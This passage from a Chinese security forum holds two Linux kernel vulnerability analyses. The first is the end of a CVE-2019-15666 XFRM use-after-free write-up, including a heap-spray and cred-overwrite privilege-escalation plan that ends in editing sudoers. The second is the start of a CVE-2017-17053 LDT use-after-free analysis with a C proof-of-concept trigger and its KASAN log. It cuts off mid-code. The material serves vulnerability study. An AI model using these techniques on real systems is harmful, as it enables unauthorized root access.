* a type XFRM_MSG_UPDPOLICY - JHS */
excl = nlh->nlmsg_type == XFRM_MSG_NEWPOLICY;
err = xfrm_policy_insert(p->dir, xp, excl); // [2] 检查通过则将新的policy对象插入到全局policy list中
xfrm_audit_policy_add(xp, err ? 0 : 1, true);
... ...
return 0;
}
// [1] verify_newpolicy_info() 参数检查
static int verify_newpolicy_info(struct xfrm_userpolicy_info *p)
{
... ...
ret = verify_policy_dir(p->dir); // [3] 检查 p->dir，保证其值只能是0,1,2
if (ret)
return ret;
if (p->index && ((p->index & XFRM_POLICY_MAX) != p->dir)) // [4] XFRM_POLICY_MAX=3，设置p->index=4 p->dir=0即可绕过本限制
return -EINVAL;
return 0;
}
如果policy插入时包含timer set，则触发OOB后、超时后会执行以下timer函数：
[xfrm_policy_timer()](https://elixir.bootlin.com/linux/v5.0.18/source/net/xfrm/xfrm_policy.c#L305)
->
[xfrm_policy_delete()](https://elixir.bootlin.com/linux/v5.0.18/source/net/xfrm/xfrm_policy.c#L2233)
->
[__xfrm_policy_unlink()](https://elixir.bootlin.com/linux/v5.0.18/source/net/xfrm/xfrm_policy.c#L2202)
static void xfrm_policy_timer(struct timer_list *t)
{
struct xfrm_policy *xp = from_timer(xp, t, timer);
time64_t now = ktime_get_real_seconds();
time64_t next = TIME64_MAX;
int warn = 0;
int dir;
read_lock(&xp->lock);
if (unlikely(xp->walk.dead))
goto out;
dir = xfrm_policy_id2dir(xp->index); // [5] 根据用户提供的index重新计算： return index & 7 -> dir=4&7=4 dir之前是用 XFRM_POLICY_MAX 来限制的，本应该小于3，现在却用7来计算，导致取值超过3。
... ...
expired:
read_unlock(&xp->lock);
if (!xfrm_policy_delete(xp, dir)) // [6]
km_policy_expired(xp, dir, 1, 0);
xfrm_pol_put(xp);
}
// [6] xfrm_policy_delete()
int xfrm_policy_delete(struct xfrm_policy *pol, int dir)
{
struct net *net = xp_net(pol);
spin_lock_bh(&net->xfrm.xfrm_policy_lock);
pol = __xfrm_policy_unlink(pol, dir); // [7]
spin_unlock_bh(&net->xfrm.xfrm_policy_lock);
if (pol) {
xfrm_policy_kill(pol);
return 0;
}
return -ENOENT;
}
EXPORT_SYMBOL(xfrm_policy_delete);
// [7] __xfrm_policy_unlink()
static struct xfrm_policy *__xfrm_policy_unlink(struct xfrm_policy *pol,
int dir)
{
struct net *net = xp_net(pol);
if (list_empty(&pol->walk.all))
return NULL;
/* Socket policies are not hashed. */
if (!hlist_unhashed(&pol->bydst)) {
hlist_del_rcu(&pol->bydst);
hlist_del_init(&pol->bydst_inexact_list);
hlist_del(&pol->byidx);
}
list_del_init(&pol->walk.all);
net->xfrm.policy_count[dir]--; // [8] dir=4, 导致越界减一
return pol;
}
### 1.2 构造UAF 空闲块8字节写NULL
**步骤** ：
* （1）插入`policy1`对象，index=0, direction=0, priority=0
* （2）插入`policy2`对象，index=4, direction=0, priority=1 (>0), a timer set
* （3）请求`XFRM_SPD_IPV4_HTHRESH`，触发 policy rehashing
* （4）请求`XFRM_FLUSH_POLICY`，触发释放`policy1`
* （5）`policy2` 超时，触发 `policy1` 的UAF
第（1）（2）步后，两个policy对象被插入到同一list（direction 0），第（3）步执行以下函数，将已有的policy逆序重新插入
`bydst`
list。[xfrm_hash_rebuild()](https://elixir.bootlin.com/linux/v5.0.18/source/net/xfrm/xfrm_policy.c#L1201)
static void xfrm_hash_rebuild(struct work_struct *work)
{
... ...
/* re-insert all policies by order of creation */
list_for_each_entry_reverse(policy, &net->xfrm.policy_all, walk.all) {
if (policy->walk.dead)
continue;
dir = xfrm_policy_id2dir(policy->index); // [9] 将 policy1 重新插入到 bydst list，由于 policy2 的index>=3，所以跳过不插入。
if (dir >= XFRM_POLICY_MAX) {
/* skip socket policies */
continue;
}
newpos = NULL;
chain = policy_hash_bysel(net, &policy->selector,
policy->family, dir);
hlist_del_rcu(&policy->bydst);
if (!chain) {
void *p = xfrm_policy_inexact_insert(policy, dir, 0);
WARN_ONCE(IS_ERR(p), "reinsert: %ld\n", PTR_ERR(p));
continue;
}
hlist_for_each_entry(pol, chain, bydst) {
if (policy->priority >= pol->priority)
newpos = &pol->bydst;
else
break;
}
if (newpos)
hlist_add_behind_rcu(&policy->bydst, newpos);
else
hlist_add_head_rcu(&policy->bydst, chain);
}
... ...
}
第（3）步，`[9]`之后，两个policy不再连贯，但`policy2`仍然指向`policy1`
第（4）步，释放`[9]`中`bydst`的`policy1`，由于`policy2`不在`bydst`中，所以没有被释放，且`policy2`的pprev指针仍然指向释放后的
`policy1`。
[xfrm_policy_flush()](https://elixir.bootlin.com/linux/v5.0.18/source/net/xfrm/xfrm_policy.c#L1770)
int xfrm_policy_flush(struct net *net, u8 type, bool task_valid)
{
int dir, err = 0, cnt = 0;
struct xfrm_policy *pol;
... ...
again:
list_for_each_entry(pol, &net->xfrm.policy_all, walk.all) {
dir = xfrm_policy_id2dir(pol->index);
if (pol->walk.dead ||
dir >= XFRM_POLICY_MAX ||
pol->type != type)
continue;
__xfrm_policy_unlink(pol, dir);
spin_unlock_bh(&net->xfrm.xfrm_policy_lock);
cnt++;
xfrm_audit_policy_delete(pol, 1, task_valid);
xfrm_policy_kill(pol); // [10] 释放
spin_lock_bh(&net->xfrm.xfrm_policy_lock);
goto again;
}
... ...
}
EXPORT_SYMBOL(xfrm_policy_flush);
static void xfrm_policy_kill(struct xfrm_policy *policy)
{
policy->walk.dead = 1;
atomic_inc(&policy->genid);
if (del_timer(&policy->polq.hold_timer))
xfrm_pol_put(policy);
skb_queue_purge(&policy->polq.hold_queue);
if (del_timer(&policy->timer))
xfrm_pol_put(policy);
xfrm_pol_put(policy);
}
第（5）步，当`policy2`超时后，将对`policy2`进行unlink操作：[__xfrm_policy_unlink()](https://elixir.bootlin.com/linux/v5.0.18/source/net/xfrm/xfrm_policy.c#L2202)
->
[__hlist_del()](https://elixir.bootlin.com/linux/v5.0.18/source/include/linux/list.h#L697)
static struct xfrm_policy *__xfrm_policy_unlink(struct xfrm_policy *pol,
int dir)
{
struct net *net = xp_net(pol);
if (list_empty(&pol->walk.all))
return NULL;
/* Socket policies are not hashed. */
if (!hlist_unhashed(&pol->bydst)) {
hlist_del_rcu(&pol->bydst); // [11] 对bydst list上 policy2 调用 __hlist_del()
hlist_del_init(&pol->bydst_inexact_list);
hlist_del(&pol->byidx);
}
list_del_init(&pol->walk.all);
net->xfrm.policy_count[dir]--; // [8] dir=4, 导致越界减一
return pol;
}
// [11] __hlist_del()
static inline void __hlist_del(struct hlist_node *n)
{
struct hlist_node *next = n->next;
struct hlist_node **pprev = n->pprev;
WRITE_ONCE(*pprev, next); // [12] policy2 的pprev指针仍然指向释放后的 policy1，这样导致 policy1 的next指针被写为null。导致8字节写
if (next)
next->pprev = pprev;
}
### 1-3 unlink过程分析
插入到bydst后，效果如图。总的来说，最后能往空闲块pol1（[xfrm_policy](https://elixir.bootlin.com/linux/v5.0.18/source/include/net/xfrm.h#L572)
结构）中的`xfrm_policy->bydst.next`写NULL，也就是空闲块的第2个8字节。
// 删除 pol1
next = pol1->next = NULL;
pprev = pol1->pprev = pol2;
*pprev = next ==> pol2->next = NULL;
next->pprev = pprev // 没有操作 最终 pol2->pprev = pol1。pol2还引用这释放后的pol1值。可堆喷站位pol1。
// 删除 pol2
next = pol2->next =NULL
pprev = pol2->pprev =pol1
pprev = next ==> pol1->next = NULL
next->pprev = pprev // 没有操作
[xfrm_policy](https://elixir.bootlin.com/linux/v5.0.18/source/include/net/xfrm.h#L572)
结构如下，大小为0x358（v4.10.7版本），cred结构大小为0xa8。能将cred结构中的`gid/suid`覆盖为NULL，拥有suid =
0的进程就可以成功的利用seteuid, setresuid提权成功。
// 能将空闲块 xfrm_policy 结构的第2个8字节写NULL
struct xfrm_policy {
possible_net_t xp_net; // 8 bytes
struct hlist_node bydst;
struct hlist_node byidx;
...
}
typedef struct { // possible_net_t
#ifdef CONFIG_NET_NS
struct net *net;
#endif
} possible_net_t;
struct hlist_node { // hlist_node
struct hlist_node *next, **pprev;
};
// 对比 cred 结构, 能将对应的 gid/suid 覆盖为0
struct cred {
atomic_t usage; // 4 bytes
uid_t uid; /* real UID of the task */ // 4 bytes
gid_t gid; /* real GID of the task */ // 4 bytes
uid_t suid; /* saved UID of the task */ // 4 bytes
gid_t sgid; /* saved GID of the task */
uid_t euid; /* effective UID of the task */
gid_t egid; /* effective GID of the task */
uid_t fsuid; /* UID for VFS ops */
gid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
......
};
## 2\. 漏洞利用
**堆喷**
：堆喷用到了[setxattr+userfaultfd堆喷](https://xz.aliyun.com/t/2814)。setxattr往内核拷贝的是用户栈上未初始化的0x1000字节，所以利用的关键并非布置数据，而是用作堆占位。那么`kmalloc-1024`（`xfrm_policy`对象）是如何覆盖`kmalloc-192`（`cred`对象，位于
[dedicated cache-cred_jar](https://elixir.bootlin.com/linux/v4.15/source/kernel/cred.c#L573)）堆块的呢？
`cred_jar` 是一个 `kmem_cache` ,每次 释放一个无用的 cred 的时候不会直接释放占用的内存 而是放入
`cred_jar`，高频使用的数据结构都有这样一个缓存机制。
**cache转化**
：SLAB/SLUB分配器采用slabs来管理物理内存页，slabs有三种状态，分别是empty（所有对象都空闲）、partial（包含使用的和空闲的对象）、full（所有对象都被使用）。当Linux内核打算释放
`empty slab`时，相应的物理页返回到可用的页池中，所以某些情况下，这些页可用从一种cache转化为另一种cache。
**利用思路**
：这里我们按照exp中的说法，将这两个policy称为`policy0`和`policy1`。最开始`policy0`和`policy1`都位于`kmalloc-1024`，当`policy0`被释放后，相应的内存被另一种cache
`kmalloc-192`也即cred结构占用，再利用`policy1`对空闲块进行8字节NULL写。详细EXP的步骤如下表所示，从上往下是大致时间线：
(1) 父进程—触发漏洞 | (2) Process 0~249—堆喷射 | (3) Process 250~299—堆喷射 | (4) Process
300~1999—提权
---|---|---|---
sleep(2) | 设置userfaultfd() | 设置userfaultfd() | `sleep(8)` 等待`policy0`被释放
sleep(2) | `pthread_create(handler)`错误处理子线程 | `pthread_create()`错误处理子线程 |
| `setxattr()`喷射 1024 字节 | **读`wait_for_pol0[]`时阻塞，等`(1)`** |
| **`handler()`读`wait_for_bug[]`时阻塞，等`(1)`** | |
创建`policy0`：`__xfrm_add_policy0()` | | |
sleep(1) | | |
**`close(wait_for_pol0[])`解除阻塞** | | |
| | `setxattr()`喷射 1024 字节 |
| | **`handler()`读`wait_for_bug[]`时阻塞，等`(1)`** |
`policy0`被 `kmalloc-1024`包围 | | |
创建`policy1`：`__xfrm_add_policy1()` timer = 7 -> sleep(7) | | |
`__xfrm_hash_rebuild()` | | |
sleep(1) | | |
`__xfrm_flush_policy0()` 释放`policy0` | | |
**`close(wait_for_bug[])`解除阻塞** | | |
| `handler()`拷贝数据，释放`kmalloc-1024` | `handler()`拷贝数据，释放`kmalloc-1024` |
| | | 子进程调用`setgid()`促使内核分配cred
| | | sleep(5)
`policy1`超时 **触发漏洞** ，`policy0->next`被写NULL | | |
| | | 检查cred是否被覆盖为NULL
| | | 如果为root则将当前用户添加到sudo组
| | | `exit(1)`通知父进程，提权成功！
**利用步骤** ：
* 1. 父进程创建`policy0`，用`setattr()`在`policy0`之前和之后喷射`kmalloc-1024`，这样就能保证`policy0`和`policy1`相距很远，且不在同一slab中（便于之后`policy0`所在的slab被释放，接着被cred使用）；
* 1. 父进程创建`policy1`，并调用`__xfrm_hash_rebuild()`和`__xfrm_flush_policy0()`，等待`policy1`超时触发漏洞；
* 1. `setxattr()`所喷射的`kmalloc-1024`对象被释放，很有可能与`policy0`相邻，这样相应的slab为empty也被释放；
* 1. 子进程300~1999调用`setgid()`促使分配子进程的cred结构，很有可能复用了`policy0`的内存。调用链——[setgid()](https://elixir.bootlin.com/linux/v4.15/source/kernel/sys.c#L400) -> [prepare_creds()](https://elixir.bootlin.com/linux/v4.15/source/kernel/cred.c#L244)
* 1. 如果子进程的`gid`和`suid`被覆盖为NULL（调用`seteuid(0)`来检测），则有了root权限，可以更新`/etc/sudoers`，添加当前用户为sudoer，使当前用户具备持久的root权限。
**成功提权** ：
## 参考
[CVE-2019-15666 Ubuntu / CentOS / RHEL Linux Kernel 4.4 – 4.18 privilege
escalation](https://duasynt.com/blog/ubuntu-centos-redhat-privesc)
[[原创]cve-2019-15666 xfrm_policy 提权漏洞](https://bbs.pediy.com/thread-261968.htm)
[Exploiting CVE-2019-15666 by reversing the binary PoC](https://blog-cyber.riskeco.com/en/exploiting-cve-2019-15666-by-reversing-the-binary-poc/)
[Linux kernel (3.x-5.x) use-after-free in the XFRM
subsystem](https://duasynt.com/pub/vnik/01-0311-2018.pdf)
[CVE-2019-15666-Exploit](https://github.com/riskeco/Lucky/blob/master/lucky0_RE.c)
[信号量释放和等待函数sem_post()和sem_wait()](https://blog.csdn.net/megayangyang/article/details/55662170)
[The Slab Allocator in the Linux kernel](https://hammertux.github.io/slab-allocator)
[因黑客尝试利用超算来挖矿，部分超算被逼下线](https://www.expreview.com/74281.html)
[欧洲多国超级计算机被挖矿软件“团灭”](https://www.aqniu.com/news-views/67510.html) | 社区文章 |
# CVE-2017-17053(Linux kernel LDT use after free) 漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1\. 漏洞信息
> * 漏洞等级：高
> * 漏洞类型：UAF
> * 攻击向量：本地
> * 权限要求：低
> * 利用公开：否
> * 影响范围：<= 4.12.10
> * 漏洞补丁：Linux `commit id`: `ccd5b3235180eef3cfec337df1c8554ab151b5cc`
> * 修补日期：2017-08-25
>
## 2\. CONFIG_MODIFY_LDT_SYSCALL 编译选项简介
要想触发此漏洞，所采用内核需要开启`CONFIG_MODIFY_LDT_SYSCALL`编译选项。虽然该编译选项所支持的功能已经不常用了，但是，这个编译选项在常规的Linux内核编译过程中是默认开启的。在一些需要运行16位汇编指令的程序中可能会用到，比如`DOSEMU`和`wine`。
开了`CONFIG_MODIFY_LDT_SYSCALL`编译选项后，就可以使用`modify_ldt(2)`这个系统调用了。`modify_ldt()`系统调用可以对内核`LDT`(local
descriptor table )进行读写操作。而这个系统调用就是CVE-2017-17053漏洞产生的一个诱因(注意：不是漏洞点)。
## 3\. 漏洞简述
UAF(Use-After-Free)漏洞在内存中发生的对象是[struct ldt_struct](https://elixir.free-electrons.com/linux/v4.12.10/source/arch/x86/include/asm/mmu_context.h#L42)
，该对象可以通过`modify_ldt()`系统调用进行分配。在内核中具体分配该对象的函数是`alloc_ldt_struct()`，其上层函数是`init_new_context_ldt()`。在执行`fork()`系统调用内核拷贝父进程内存资源时，也会把父进程的`ldt_struct`进行拷贝。不过由于比较低级的编码错误，如果`alloc_ldt_struct()`执行失败，接着`init_new_context_ldt()`进行相应的错误处理，但`init_new_context_ldt()`上层函数`init_new_context`没有返回相应的错误值，结果无论成功与否都返回0。那么这就导致`mm->context.ldt`指向的`ldt_struct`没有及时更新，仍然残留着父进程的`ldt_struct`。如果该子进程退出并释放这块`ldt_struct`,但是父进程仍然保持这对这块对象的引用，那么最终就会产生UAF漏洞。
## 4\. 漏洞还原
* Linux内核版本： `v4.12.10`
* 还原所用commit id ： `6dd29b3df975582ef429b5b93c899e6575785940`
* 涉及文件：`arch/x86/include/asm/mmu_context.h`在`commit id`: `ccd5b3235180eef3cfec337df1c8554ab151b5cc` 补丁信息中，提供了一份PoC：
#include <stdio.h>
#include <asm/ldt.h>
#include <pthread.h>
#include <signal.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <unistd.h>
static void *fork_thread(void *_arg)
{
fork(); // B
}
int main(void)
{
struct user_desc desc = { .entry_number = 8191 }; // D
syscall(__NR_modify_ldt, 1, &desc, sizeof(desc)); // A
for (;;) {
if (fork() == 0) {
pthread_t t;
// srand(getpid());
pthread_create(&t, NULL, fork_thread, NULL);
// usleep(rand() % 10000);
syscall(__NR_exit_group, 0); // C
}
wait(NULL);
}
}
编译：
$ gcc poc.c -o cve-2017-17053-poc -pthread
触发结果：
[ 53.627718] BUG: KASAN: use-after-free in free_ldt_struct.part.3+0x81/0x90
[ 53.628663] Read of size 4 at addr ffff88006c749208 by task cve-2017-17053-/5426
[ 53.629858]
[ 53.630065] CPU: 6 PID: 5426 Comm: cve-2017-17053- Not tainted 4.12.10+ #8
[ 53.630992] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.1-1ubuntu1 04/01/2014
[ 53.632203] Call Trace:
[ 53.632545] dump_stack+0x4d/0x72
[ 53.633062] print_address_description+0x6a/0x280
[ 53.633743] ? free_ldt_struct.part.3+0x81/0x90
[ 53.634371] kasan_report+0x22b/0x340
[ 53.634883] __asan_report_load4_noabort+0x14/0x20
[ 53.635569] free_ldt_struct.part.3+0x81/0x90
[ 53.636183] destroy_context_ldt+0x60/0x80
[ 53.636740] __mmdrop+0x4f/0x210
[ 53.637279] finish_task_switch+0x37e/0x500
[ 53.637942] schedule_tail+0xe/0xf0
[ 53.638508] ret_from_fork+0x8/0x30
[ 53.639065] RIP: 0033:0x7f034ce2a2d1
[ 53.639636] RSP: 002b:00007f034cd4aff0 EFLAGS: 00000206 ORIG_RAX: 0000000000000038
[ 53.640754] RAX: 0000000000000000 RBX: 00007f034cd4b700 RCX: 00007f034ce2a2d1
[ 53.641836] RDX: 00007f034cd4b9d0 RSI: 00007f034cd4aff0 RDI: 00000000003d0f00
[ 53.642733] RBP: 0000000000000000 R08: 00007f034cd4b700 R09: 00007f034cd4b700
[ 53.643538] R10: 00007f034cd4b9d0 R11: 0000000000000206 R12: 00007f034d0ea220
[ 53.644308] R13: 00007f034cd4b9c0 R14: 00007f034d515040 R15: 0000000000000003
[ 53.645096]
[ 53.645279] Allocated by task 2745:
[ 53.645719] save_stack_trace+0x16/0x20
[ 53.646144] save_stack+0x46/0xd0
[ 53.646505] kasan_kmalloc+0xad/0xe0
[ 53.646867] kmem_cache_alloc_trace+0xcd/0x180
[ 53.647277] alloc_ldt_struct+0x52/0x140
[ 53.647634] init_new_context_ldt+0xe2/0x2e0
[ 53.648027] mm_init.isra.46+0x5c7/0x7e0
[ 53.648391] copy_process.part.52+0x1d66/0x50c0
[ 53.648804] _do_fork+0x133/0x7a0
[ 53.649175] SyS_clone+0x14/0x20
[ 53.649502] do_syscall_64+0x173/0x380
[ 53.649847] return_from_SYSCALL_64+0x0/0x6a
[ 53.650238]
[ 53.650381] Freed by task 5417:
[ 53.650669] save_stack_trace+0x16/0x20
[ 53.651023] save_stack+0x46/0xd0
[ 53.651332] kasan_slab_free+0x72/0xc0
[ 53.651675] kfree+0x8f/0x190
[ 53.651915] free_ldt_struct.part.3+0x63/0x90
[ 53.652258] destroy_context_ldt+0x60/0x80
[ 53.652576] __mmdrop+0x4f/0x210
[ 53.652843] mmput+0x1f8/0x270
[ 53.653115] copy_process.part.52+0x1647/0x50c0
[ 53.653469] _do_fork+0x133/0x7a0
[ 53.653734] SyS_clone+0x14/0x20
[ 53.653992] do_syscall_64+0x173/0x380
[ 53.654293] return_from_SYSCALL_64+0x0/0x6a
## 5\. 漏洞分析
之前有个安全研究员分享了一篇该漏洞的安全分析[2017-08-25](https://xorl.wordpress.com/2017/12/03/cve-2017-17053-linux-kernel-ldt-use-after-free/),
该文章分析比较清晰简洁，但是针对使得`alloc_ldt_struct()`执行失败的方式，文中末尾一带而过并没有过多分析。笔者此次文章旨在重新理清思路，并针对某些细节进行详细分析。
### 1) `ldt_struct`对象分配
`ldt_struct`对象由`alloc_ldt_struct()`分配，在v4.12.10内核代码中搜索，该函数可以看到有如下两处引用:
In folder /home/xxxx/git_new/linux-stable
Found 3 matches for C symbol: alloc_ldt_struct
--------------------------------------------------
arch/x86/kernel/ldt.c:
37 [scope: alloc_ldt_struct] static struct ldt_struct *alloc_ldt_struct(int size)
..
125 [scope: init_new_context] new_ldt = alloc_ldt_struct(old_mm->context.ldt->size);
..
255 [scope: write_ldt] new_ldt = alloc_ldt_struct(newsize);
分别是由`write_ldt()`和`init_new_context()`引用，如下:
**write_ldt()**
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
struct mm_struct *mm = current->mm;
struct ldt_struct *new_ldt, *old_ldt;
unsigned int oldsize, newsize;
struct user_desc ldt_info;
struct desc_struct ldt;
int error;
error = -EINVAL;
... snip ...
mutex_lock(&mm->context.lock);
old_ldt = mm->context.ldt;
oldsize = old_ldt ? old_ldt->size : 0;
newsize = max(ldt_info.entry_number + 1, oldsize);
error = -ENOMEM;
new_ldt = alloc_ldt_struct(newsize);// <------------------- if (!new_ldt)
goto out_unlock;
... snip ...
out_unlock:
mutex_unlock(&mm->context.lock);
out:
return error;
}
**init_new_context()**
int init_new_context_ldt(struct task_struct *tsk, struct mm_struct *mm)
{
struct ldt_struct *new_ldt;
struct mm_struct *old_mm;
int retval = 0;
... snip ...
new_ldt = alloc_ldt_struct(old_mm->context.ldt->size);// <------------------- if (!new_ldt) {
retval = -ENOMEM;
goto out_unlock;
}
memcpy(new_ldt->entries, old_mm->context.ldt->entries,
new_ldt->size * LDT_ENTRY_SIZE);
finalize_ldt_struct(new_ldt);
mm->context.ldt = new_ldt;// <-------------------
out_unlock:
mutex_unlock(&old_mm->context.lock);
return retval;
}
以上两个函数都会调用`alloc_ldt_struct()`,并且会有相应的函数返回错误码检查。
经过分析，其中到达`write_ldt()`的内核函数序列是：`sys_modify_ldt() -> write_ldt() ->
alloc_ldt_struct(）`。到达`init_new_context（）`的函数序列是：`sys_clone() -> _do_fork() ->
copy_process() -> mm_init() -> init_new_context() -> init_new_context_ldt() ->
alloc_ldt_struct()`。
当分配完`ldt_struct`，将会把该对象的地址赋给`mm_context_t`结构体的成员变量`struct ldt_struct
*`，`mm_context_t`又是`mm_struct`的成员变量，所以最终`mm_struct`将会包含一个指向`ldt_struct`对象的指针。例如`init_new_context_ldt()`有个赋值点：
int init_new_context_ldt(struct task_struct *tsk, struct mm_struct *mm)
{
... snip ...
mm->context.ldt = new_ldt;// <------------------- ... snip ...
}
如果要想在`mm_struct`结构体中包含一个指向`ldt_struct`对象的有效指针，通过以上分析出的调用序列，我们在用户态使用`modify_ldt()`系统调用即可。如PoC中`A`处所示。
### 2）`ldt_struct`在`fork()`中的拷贝与创建
`modify_ldt()`执行完后，当用户态发生`fork()`系统调用创建子进程时(如PoC 的`B`处)，内核将会拷贝相应的父进程内存资源，如下:
static __latent_entropy struct task_struct *copy_process(
unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *child_tidptr,
struct pid *pid,
int trace,
unsigned long tls,
int node)
{
... snip ...
/* Perform scheduler related setup. Assign this task to a CPU. */
retval = sched_fork(clone_flags, p);
if (retval)
goto bad_fork_cleanup_policy;
retval = perf_event_init_task(p);
if (retval)
goto bad_fork_cleanup_policy;
retval = audit_alloc(p);
if (retval)
goto bad_fork_cleanup_perf;
/* copy all the process information */
shm_init_task(p);
retval = security_task_alloc(p, clone_flags);
if (retval)
goto bad_fork_cleanup_audit;
retval = copy_semundo(clone_flags, p);
if (retval)
goto bad_fork_cleanup_security;
retval = copy_files(clone_flags, p);
if (retval)
goto bad_fork_cleanup_semundo;
retval = copy_fs(clone_flags, p);
if (retval)
goto bad_fork_cleanup_files;
retval = copy_sighand(clone_flags, p);
if (retval)
goto bad_fork_cleanup_fs;
retval = copy_signal(clone_flags, p);
if (retval)
goto bad_fork_cleanup_sighand;
retval = copy_mm(clone_flags, p);// <------------------- if (retval)
goto bad_fork_cleanup_signal;
retval = copy_namespaces(clone_flags, p);
if (retval)
goto bad_fork_cleanup_mm;
retval = copy_io(clone_flags, p);
if (retval)
goto bad_fork_cleanup_namespaces;
retval = copy_thread_tls(clone_flags, stack_start, stack_size, p, tls);
if (retval)
goto bad_fork_cleanup_io;
if (pid != &init_struct_pid) {
pid = alloc_pid(p->nsproxy->pid_ns_for_children);
if (IS_ERR(pid)) {
retval = PTR_ERR(pid);
goto bad_fork_cleanup_thread;
}
}
... snip ...
}
在`copy_process()`中，涉及到`ldt_struct`对象指针拷贝的点是在`dup_mm()`中，内核函数调用序列是`...snip..
-> copy_process() -> copy_mm() ->
dup_mm()`。其中`dup_mm()`中涉及`ldt_struct`对象的拷贝操作(`struct mm_struct
*`包含`ldt_struct`指针)如下所示。由于使用了`modify_ldt()`系统调用，父进程的`mm_struct`
定然会包含已经分配的`ldt_struct`指针，所以`memcpy()`后，新的`mm_strcut`中会包含父进程的`ldt_struct`对象指针。
static struct mm_struct *dup_mm(struct task_struct *tsk)
{
... snip ...
mm = allocate_mm();
if (!mm)
goto fail_nomem;
memcpy(mm, oldmm, sizeof(*mm)); // <-------------------拷贝点
if (!mm_init(mm, tsk, mm->user_ns)) // <------------------- goto fail_nomem;
... snip ...
fail_nomem:
return NULL;
}
接着进入`mm_init()`函数，该函数就是对新创建的`mm_struct`进行初始化工作,其中就包含创建新`ldt_struct`的操作，也就是将要执行上文提到的`init_new_context()`:
static struct mm_struct *mm_init(struct mm_struct *mm, struct task_struct *p,
struct user_namespace *user_ns)
{
... snip ...
if (init_new_context(p, mm)) // <------------------- goto fail_nocontext;
mm->user_ns = get_user_ns(user_ns);
return mm;
fail_nocontext:
mm_free_pgd(mm);
fail_nopgd:
free_mm(mm);
return NULL;
}
### 3) 漏洞代码
接着继续分析
`init_new_context()`，`init_new_context()`中又会调用`init_new_context_ldt()`,如下所示:
static inline int init_new_context(struct task_struct *tsk,
struct mm_struct *mm)
{
#ifdef CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS
if (cpu_feature_enabled(X86_FEATURE_OSPKE)) {
/* pkey 0 is the default and always allocated */
mm->context.pkey_allocation_map = 0x1;
/* -1 means unallocated or invalid */
mm->context.execute_only_pkey = -1;
}
#endif
init_new_context_ldt(tsk, mm); // <------------------- 漏洞点
return 0;
}
`init_new_context_ldt()`上文已分析，会返回一个int型整数值，主要是判断`alloc_ldt_struct()`是否成功分配`ldt_struct`。按照鲁棒性的代码编程原则，如果`alloc_ldt_struct()`执行失败，`init_new_context_ldt(tsk,
mm);`本应该返回一个错误码，并对其进行错误判断然后进入相应的错误处理流程。
**但是这里对`init_new_context_ldt()`的返回值没有加判断，而是直接返回0，这就导致`init_new_context`无论失败与否，最终的结果都将认为它返回成功。**
上文已经提到，`init_new_context_ldt()`会调用`alloc_ldt_struct()`分配一个新的`ldt_struct`对象，并更新`mm->context.ldt`指针，覆盖掉之前从父进程拷贝来的旧指针。如果`alloc_ldt_struct()`执行失败直接返回，则不会更新`mm->context.ldt`的旧指针。而且由于`init_new_context()`没有对返回值的判断，当作分配成功处理，那么此时子进程中的`mm_struct`仍然包含着父进程残留的`mm->context.ldt`指针。假设该子进程退出（如PoC的`C`处，使用`exit_group`内核会产生fatal
signal），并执行相应内存释放函数，那么`mm->context.ldt`所指向的属于父进程的对象`ldt_struct`也会进行释放,
如下代码片段所示。在之后的过程中该对象指针仍然被父进程所能引用，那么最终就会在`ldt_struct`对象上产生UAF漏洞。
static __latent_entropy struct task_struct *copy_process(
unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *child_tidptr,
struct pid *pid,
int trace,
unsigned long tls,
int node)
{
int retval;
... snip ...
recalc_sigpending();
if (signal_pending(current)) { // <------------------- 一种退出进程的触发方式
retval = -ERESTARTNOINTR;
goto bad_fork_cancel_cgroup;
}
... snip ...
bad_fork_cancel_cgroup:
spin_unlock(¤t->sighand->siglock);
write_unlock_irq(&tasklist_lock);
cgroup_cancel_fork(p);
bad_fork_free_pid:
cgroup_threadgroup_change_end(current);
if (pid != &init_struct_pid)
free_pid(pid);
... snip ...
delayacct_tsk_free(p);
bad_fork_cleanup_count:
atomic_dec(&p->cred->user->processes);
exit_creds(p);
bad_fork_free:
p->state = TASK_DEAD;
put_task_stack(p);
free_task(p);
fork_out:
return ERR_PTR(retval);
}
### 4）如何使`alloc_ldt_struct()`失败
至此，漏洞原理和触发流程基本分析清楚，但是仍然有一个疑点(也是重点)还悬而未决。那就是在用户态通过何种方式，能使得`alloc_ldt_struct()`
执行失败呢？
先分析下`alloc_ldt_struct()`的代码:
static struct ldt_struct *alloc_ldt_struct(unsigned int size)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;
if (size > LDT_ENTRIES)
return NULL;
new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
if (!new_ldt)
return NULL;
BUILD_BUG_ON(LDT_ENTRY_SIZE != sizeof(struct desc_struct));
alloc_size = size * LDT_ENTRY_SIZE;
if (alloc_size > PAGE_SIZE)
new_ldt->entries = vzalloc(alloc_size); // <------------------- else
new_ldt->entries = (void *)get_zeroed_page(GFP_KERNEL);
if (!new_ldt->entries) {
kfree(new_ldt);
return NULL;
}
new_ldt->size = size;
return new_ldt;
}
代码中会使用`kmalloc`分配`ldt_struct`，但是我们的目的是让`alloc_ldt_struct()`返回失败，也就是返回为NULL。可以很容易发现，当`new_ldt->entries`为NULL时，则最终返回结果为NULL，且影响其结果的有这两句：`new_ldt->entries
= vzalloc(alloc_size);`和`new_ldt->entries = (void
*)get_zeroed_page(GFP_KERNEL);`，后者我们并不可控，而前者是可控的，因为`size`参数可以在用户态指定并传入内核,如PoC的`D`处。并且`PAGE_SIZE
< size < LDT_ENTRIES(8192)`。
`vzalloc()`最终会调用`__vmalloc_area_node()`，采用的是`vmalloc`内存分配方案:
static void *__vmalloc_area_node(struct vm_struct *area, gfp_t gfp_mask,
pgprot_t prot, int node)
{
... snip ...
for (i = 0; i < area->nr_pages; i++) {
struct page *page;
